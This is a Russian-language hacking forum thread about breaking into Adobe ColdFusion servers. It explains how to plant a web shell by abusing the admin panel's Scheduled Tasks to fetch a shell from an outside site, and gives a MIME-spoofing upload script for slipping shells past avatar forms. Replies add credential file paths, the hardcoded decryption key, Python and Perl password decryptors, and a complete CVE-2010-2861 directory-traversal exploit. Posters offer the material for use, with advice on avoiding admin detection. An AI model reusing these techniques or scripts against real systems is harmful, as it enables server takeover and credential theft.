.::Web-Shell::.

Универсальный способ заливки шелла из админки следующий. Идем в раздел Debugging & Logging > Scheduled Tasks, жмем Schedule New Task. Заполняем поля Task Name, указываем любое имя, дату начала оставляем без изменения, в Frequency можно указать выполнять эту задачу ежедневно в какое-то время, но сомневаюсь, что админ не пропалит такую наглость, поэтому жмем One-Time, время можно поставить любое, так как потом мы принудительно запустим задачу. В URL пишем адрес до нашего сайта, где будет лежать наш шелл в формате .txt. Напротив Publish ставим галочку "Save output to a file", а в графе File пишем полный путь до нашего будущего шелла на диске. Путь до веб-директории всегда можно посмотреть из админки, например, в разделе Server Settings > Mappings нажимаем Browse Server и смотрим полную файловую структуру в приятной Java-оболочке. Нажимаем Submit и у нас создастся новая задача. Слева в поле Actions нажимаем "Run Scheduled Tasks" и получаем шелл, не забываем после этого удалить задачу.

.::MIME types Spoofing::.

Небольшая заметка о подмене mime types, бага весьма специфичная, однако, может оказаться полезной. Предположим, у нас есть форма аплоада файлов:

PHP код:
<cfform name='upload' action='upload.cfm' enctype='multipart/form-data' method='post'>
<
cfinput type='file' name='FileUpload' required='yes' /><br />
<
cfinput type='submit' value='Upload File' name='submit' /> </cfform
Тут всё просто, используются аналоги привычных для нас тэгов <form> и <input>, просто используя CFML, мы можем задать большее количество атрибутов.

И скрипт, который обрабатывает запрос:

PHP код:
<cfif isDefined('fileUpload')>
  <
cffile action='upload'
     
fileField='fileUpload'
     
destination='C:\path\to\upload'
     
accept='image/jpeg,image/gif'
     
nameconflict='makeunique'
Ключевая строчка здесь accept='image/jpeg,image/gif' - мы сверяем mime type загружаемого файла со списком разрешенных.

Уязвимость заключается в том, что находясь в рамках одного сервера и используя тег <cfhttp> мы можем легко его подменить.

Вот пример скрипта, который загрузит нам через форму выше произвольный файл:
PHP код:
<cfhttp url='http://example.com/upload.cfm' method='post'>
<
cfhttpparam type='formfield' value='Upload File' name='submit'>
<
cfhttpparam type='file' name='FileUpload' file='C:\Path\To\shell.cfm' mimetype='image/jpeg'> </cfhttp
Просто прописываем mimetype='image/jpeg' и всё)

Конечно, использование баги сильно осложняется тем, что оба скрипта должны лежать на одном сервере, однако, вот пример типично использования: залили шелл на сайт, прав залезть на соседей не хватает, но там установлен форум, регистрируемся, а затем вместо аватарки, через наш скрипт, спокойно заливаем шелл.

Содержимое аттача:

AdmBrut.pl - брутер админки
AdmSearch.pl - поиск админки
CF6_Exp.cfm - эксплойт под 6 версию
cfdecrypt.exe - декриптор
Dumper.cfm - дампер БД
Version.pl - определитель версии
Вложения
Тип файла: zip CF.zip (22.7 Кб, 1517 просмотров)
Ded MustD!e вне форума   Ответить с цитированием
Старый 11.07.2010, 13:19   #3
it's my
 
Регистрация: 06.07.2010
Сообщений: 39
Репутация: 11
По умолчанию

в ColdFusion есть какое-нибудь логирование действий, или подобие сессий как в ПХП?
it's my вне форума   Ответить с цитированием
Старый 11.07.2010, 13:33   #4
Ded MustD!e
Banned
 
Регистрация: 01.07.2010
Сообщений: 162
По умолчанию

Цитата:
Сообщение от it's my Посмотреть сообщение
в ColdFusion есть какое-нибудь логирование действий, или подобие сессий как в ПХП?
чаще всего ColdFusion идет вместе с IIS, изредка с Apache, поэтому за логи надо беспокоиться именно в них, что касается самой CF, то присутствуют 4 файла с логами:

application.log
eventgateway.log
exception.log
server.log

ни в один из них нет возможности что-то записать, и никуда не пишется ip с которого вызвана ошибка.

насчет сессий не знаю.
Ded MustD!e вне форума   Ответить с цитированием
Старый 11.07.2010, 14:18   #5
it's my
 
Регистрация: 06.07.2010
Сообщений: 39
Репутация: 11
По умолчанию

всё дело в том что я столкнулся именно со связкой CF с Apache.
Ясно, понятно.
Собственно в моем случае можно было узнать версию и пути до CF из /proc/self/environ (если конечно будет доступ на чтение)
Код:
lib:/[patch]/coldfusion8/lib/
Логи CF нашлись в мануале:

Пароли лежали щедро как и было выше сказано в /[patch]/lib/password.properties

Цитата:
6 и 9 версии:

../lib/password.properties

7 и 8 версии:

../servers/admin/SERVER-INF/jrun-users.xml
Кстати, странная разминка со статьей, у меня версия ColdFusion 8 но пароли хранятся в /lib/password.properties
а в статье написано что в /lib/password.properties пароли хранятся только в 6 и 9 версии.

Тип хэша определён это может быть MySQL5 или SHA-1, по крайней мере по количеству (40) символов совпадает.
it's my вне форума   Ответить с цитированием
Старый 11.07.2010, 14:37   #6
Ded MustD!e
Banned
 
Регистрация: 01.07.2010
Сообщений: 162
По умолчанию

Цитата:
Сообщение от it's my Посмотреть сообщение
Логи CF нашлись в мануале
Это видимо все возможные логи в системе, при подключении каких-то модулей, я говорю по факту, у меня установлен CF и в ../ColdFusion8/logs/ только 4 файла, на голой системе именно столько и будет.

Цитата:
Сообщение от it's my Посмотреть сообщение
Кстати, странная разминка со статьей, у меня версия ColdFusion 8 но пароли хранятся в /lib/password.properties
а в статье написано что в /lib/password.properties пароли хранятся только в 6 и 9 версии.

Тип хэша определён это может быть MySQL5 или SHA-1, по крайней мере по количеству (40) символов совпадает.
В статье не исправил, теперь пассы всегда хранятся в /lib/password.properties, единственное исключение - это установка двух и более разных версий ColdFusion на одном сервере, тогда в 7 и 8 версии они будут в jrun-users.xml.
Ded MustD!e вне форума   Ответить с цитированием
Старый 12.07.2010, 14:50   #7
it's my
 
Регистрация: 06.07.2010
Сообщений: 39
Репутация: 11
По умолчанию

Кроме всего прочего есть файл который отвечает за подключение к БД.
в Coldfusion 7 он находится тут: /lib/neo-query.xml
в Coldfusion 8 он находится тут: /lib/neo-datasource.xml
Особо интересные строки его содержимого:
PHP код:
<var name='HOST'><string> %хост% </string></var>
<var 
name='PORT'><string> %порт% </string></var>
<var 
name='DRIVER'><string> %драйвер_бд% </string></var>
<var 
name='username'><string> %логин_к_бд% </string></var>
<var 
name='password'><string> %хеш_пароля_к_бд% </string></var>
<var 
name='database'><string> %базу_данных% </string></var> 
Все данные находятся в открытом виде, кроме пароля. Пароль зашифрован дефолтным алгоритмом ColdFusion:
PHP код:
public class DataSourceDef {
[
тут какойто код]
protected static final 
String seedval "0yJ!@1$r8p0L@r1$6yJ!@1rj";
[
тут какойто код]
protected 
String getPassword() {
if(
password == null) { return null; }
if(
password.equals("")) { return ""; }
else {
String pwd nullString secKey CFPage.generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"); pwd CFPage.Decrypt(passwordsecKey"DESede""Base64"); return pwd;
}

Собственно вот и декриптор на питоне для 7 и 8 версии:
PHP код:
import pyDes
import base64
import sys

if len(sys.argv) <>
print 
"syntax: coldfusion_ds_decrypt.py "
exit(0)

pwd sys.argv[1]
key "0yJ!@1$r8p0L@r1$6yJ!@1rj"

pyDes.triple_des(key)
k.decryptbase64.decodestring(pwd), "*")

print 
"decrypted password: " 
p.s. так же декриптор на .NET

и декриптор для 6 версии на перле:
PHP код:
use Crypt::Twofish;

$key "\x56\xbc\xca\x37\x94\x81\xa6\x17\x09\x59\xfa\xdb\xcc\xfd\x40\x1a";

if (($
#ARGV+1) != 1) {
print "syntax: decryptcf6.pl \n";
print 
"example: decryptcf6.pl AABBCCDDEEFF00010203040506070809\n";
print 
"\n";
exit 
0;
}

$data = @ARGV[0];
if ( 
length($data) != 32 ) {
print 
"ERROR: encrypted password must be 32-characters long!\n";
exit 
0;
}

print 
"encrypted password: $data\n";

@
chars split ''$data;

$mybytes "";

for( 
$i=0$i<32$i=$i+2) {
$mybytes $mybytes chr( ( hex(@chars[$i])*16 ) + hex( @chars[$i+1]) );

}

$cipher Crypt::Twofish->new($key);

print 
"decrypted password: " $cipher->decrypt($mybytes);
print 
"\n"
Автор криптеров HEXALE
Так же спасибо Ded MustD!e за помощь

Так же хочу объяснить по поводу password.properties
строка rdspassword=[hash] не имеет большой ценности, это пароль (если я правильно понял) для доступа непосредственно программы от Adobe к скриптам ColdFusion
а вот password=[hash] это пароль в админку зашифрованный алгоритмом HMAC-SHA1 (в новых версиях)
it's my вне форума   Ответить с цитированием
Старый 18.08.2010, 16:10   #8
asddas
 
Аватар для asddas
 
Регистрация: 04.08.2010
Сообщений: 153
Репутация: 161
По умолчанию

Vulnerable:
Adobe ColdFusion 8.0.1
Adobe ColdFusion 9.0.1
Adobe ColdFusion 9.0
Adobe ColdFusion 8.0

PHP код:
# Working GET request courtesy of carnal0wnage: 
# http://server/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en 

# LLsecurity added another admin page filename: "/CFIDE/administrator/enter.cfm" 
  
  
#!/usr/bin/python 
  
# CVE-2010-2861 - Adobe ColdFusion Unspecified Directory Traversal Vulnerability 
# detailed information about the exploitation of this vulnerability: 
# http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/ 
  
# leo 13.08.2010 
  
import sys 
import socket 
import re 
  
# in case some directories are blocked 
filenames = ("/CFIDE/wizards/common/_logintowizard.cfm""/CFIDE/administrator/archives/index.cfm""/cfide/install.cfm""/CFIDE/administrator/entman/index.cfm""/CFIDE/administrator/enter.cfm"
  
post """POST %s HTTP/1.1 
Host: %s 
Connection: close 
Content-Type: application/x-www-form-urlencoded 
Content-Length: %d 
  
locale=%%00%s%%00a"""
  
def main(): 
    if 
len(sys.argv) != 4
        print 
"usage: %s <host> <port> <file_path>" sys.argv[0
        print 
"example: %s localhost 80 ../../../../../../../lib/password.properties" sys.argv[0
        print 
"if successful, the file will be printed"
        
return
      
    
host sys.argv[1
    
port sys.argv[2
    
path sys.argv[3
  
    for 
f in filenames
        print 
"------------------------------"
        
print "trying"
  
        s 
socket.socket(socket.AF_INETsocket.SOCK_STREAM
        
s.connect((hostint(port))) 
        
s.send(post % (fhostlen(path) + 14path)) 
  
        
buf "" 
        
while 1
            
buf_s s.recv(1024
            if 
len(buf_s) == 0
                break
            
buf += buf_s 
         
        m 
re.search('<title>(.*)</title>'bufre.S
        if 
!= None
            
title m.groups(0)[0
            print 
"title from server in %s:" 
            
print "------------------------------"
            
print m.groups(0)[0
            print 
"------------------------------"
  
if __name__ == '__main__'
    
main() 
http://www.exploit-db.com/exploits/14641/
asddas вне форума   Ответить с цитированием
Старый 20.08.2010, 00:39   #9
Luna-Tic
 
Регистрация: 19.08.2010
Сообщений: 31
Репутация: 3
По умолчанию

Большое спасибо за описание автору, в данный момент как раз мучаюсь с подобным чудом в связке Apache+CF+Oracle и все это заведенно на suse. Как раз хотел разворачивать на виртуалке подобную систему. Автору +
в моем случае админ интерфейс самого CF не доступ по причине ограничения по айпи в конфигах апача, так же нету возможности перечитать логи по причине нехватки прав .
Возможно что то посоветуете.
еще такой вопрос к автору статьи: 1) файл с паролями лежить на директорию выше нежели росшаренные файлы, я так понимаю в конфигах возможно изменить, путь к веб директории.
2) Если ставил CF на линуксе можно привести стандарные пути к файлу с хешами.
Luna-Tic вне форума   Ответить с цитированием
Старый 20.12.2010, 16:48   #10
detector
 
Регистрация: 19.12.2010
Сообщений: 2
Репутация: 0
По умолчанию

Цитата:
Сообщение от Ded MustD!e Посмотреть сообщение
Пользоваться прогой так:

C:\>cfdecrypt.exe input.cfm output.cfm

Если не укажем output.cfm, то результат дешифровки выведется в консоль.
Не совсем понятно...
Питон пишет, что не может открыть input.cfm. Это должен быть файл в определённом формате?
Есть скажем вот такой хеш 5B3B566E8DA8D49E3FEFB4B2054B12199F8BF3D1
На сколько я понял это SHA-1.
Может данная тузла работать с этим хешем?
Если да, то как оформлять input.cfm?
detector вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot